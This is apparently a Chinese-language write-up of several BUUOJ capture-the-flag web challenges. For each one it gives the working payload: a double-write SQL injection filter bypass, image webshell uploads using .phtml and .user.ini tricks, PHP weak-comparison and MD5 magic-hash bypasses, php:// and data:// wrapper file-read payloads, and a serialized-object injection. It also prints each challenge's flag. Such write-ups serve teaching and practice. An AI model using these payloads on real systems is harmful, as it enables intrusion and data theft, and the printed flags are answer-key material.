[极客大挑战 2019]BabySQL
http://1f4a31f5-7d6f-455f-856c-c24ec63ca11d.node3.buuoj.cn
单引号报错存在注入

图片
联合查询语句被过滤,尝试双重注入

图片
双重注入有效,继续查询
经查询大概过滤了 union select where or from,全都双写绕过
1 | ?username=1'+uniunionon+seselectlect+1,2,3--+&password=1 |

图片
i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{0bdcc0e4-8b1a-4855-974f-55185878f5aa}
[极客大挑战 2019]Upload
http://03a309a6-ef7e-4083-a805-48f967450eec.node3.buuoj.cn

图片
网页名叫上传头像,估计后缀名是图片,直接传图片马
过滤了php后缀,大小写,php345等,改成phtml上传成功

图片
添加菜刀,路径是/upload/shell.phtml,在根目录拿到flag

图片
flag{0daae0dc-b56e-468e-9efd-250e2667f1e5}
[SUCTF 2019]CheckIn
http://68e807d3-2827-4ddc-bc75-307ac47059c6.node3.buuoj.cn
尝试了好多能被php解析的后缀,都提示illegal suffix!
用图片后缀时提示

图片
看到数组输出,猜测是nginx,考虑上传.user.ini文件,.user.ini会将图片马中的代码包含到每个php文件中,调用时用auto_prepend_file来包含我们的shell.jpg
在.user.ini里能调用的参数有auto_prepend_file和auto_append_file
相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
但auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

图片
注意路径,/uploads/04b0951938d905b41348c1548f9c338b/index.php
上传成功后蚁剑连接

图片
flag{751bca8b-f279-435d-acdf-a0c711380fab}
[ACTF2020 新生赛]BackupFile
http://9c479038-922c-4d88-9f02-52d4995a545e.node3.buuoj.cn
根据 Try to find out source file! 先查看源码
fuzz了一下,源码文件是index.php.bak
1 |
|
因为在 $key == $str 的比较中是弱比较,只需比较字母前的数字,即1
?key=123

图片
flag{2d41b6bd-3496-40fc-b34c-32c91ca50b67}
[ACTF2020 新生赛]Upload
http://17555bee-794b-4019-9361-b4a76e7a17ab.node3.buuoj.cn

图片
传个图片马,改后缀phtml,加GIF98A头

图片
蚁剑连接,拿到根目录下flag

图片
flag{f6d3674b-ccd1-439c-9cd9-a51059d1b5a3}
[极客大挑战 2019]BuyFlag
http://55d23e6e-9121-4338-98f5-b3a7b64c9192.node3.buuoj.cn

图片
查看pay.php源码
1 | <!-- |
cookie里有可疑变量,改user=1

图片
因为比较还是 == ,可以弱比较绕过

图片
post一个够买flag的money

图片
直接买会提示字符串太长,可以用科学计数法表示100000000=1e9

图片
flag{ce96bdde-166b-4b5e-84c5-1532f8498f23}
[BJDCTF2020]Easy MD5
http://e71837b5-f32d-44a8-a478-6868f556634d.node3.buuoj.cn

图片
查看源码
1 | <section> |
因为这题和md5有关,在md5里有一个很有意思的字符串 ffifdyop
这个字符串md5后是’or’6�]��!r,��b,正好前几位可以用于闭合查询语句,就可以用来绕过

图片
引入了一个新页面,访问之

图片
查看源码
1 | <!-- |
可以用0e绕过md5弱比较,以下是一些常见的0e字符串1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
aabg7XSs

图片
1 | levels91.php?a=QNKCDZO&b=s878926199a |
又到了新页面1
2
3
4
5
6
7
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
依旧数组绕过1
param1[]=a¶m2[]=b

图片
flag{b43ee0d2-4f80-4bcb-9674-7dc11e27bb3c}
[ZJCTF 2019]NiZhuanSiWei
http://e1d2e78d-5eb7-4c10-88ca-b46fcfd7fba3.node3.buuoj.cn
1 |
|
$text里的file_get_contents()函数会把整个文件读入一个字符串中,即需要传入一个文件内容为”welcome to the zjctf”,采用php伪协议传输1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

图片
$file里可以include文件,但对flag做了过滤,同时注释了useless.php,利用php伪协议查看源代码
1 | text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php |

图片
useless.php
1 |
|
根据index.php里password会序列化,在useless.php里进行反序列化1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
一并传入,查看源码1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

图片
flag{20a27159-4eb0-48e4-af80-c437443282a8}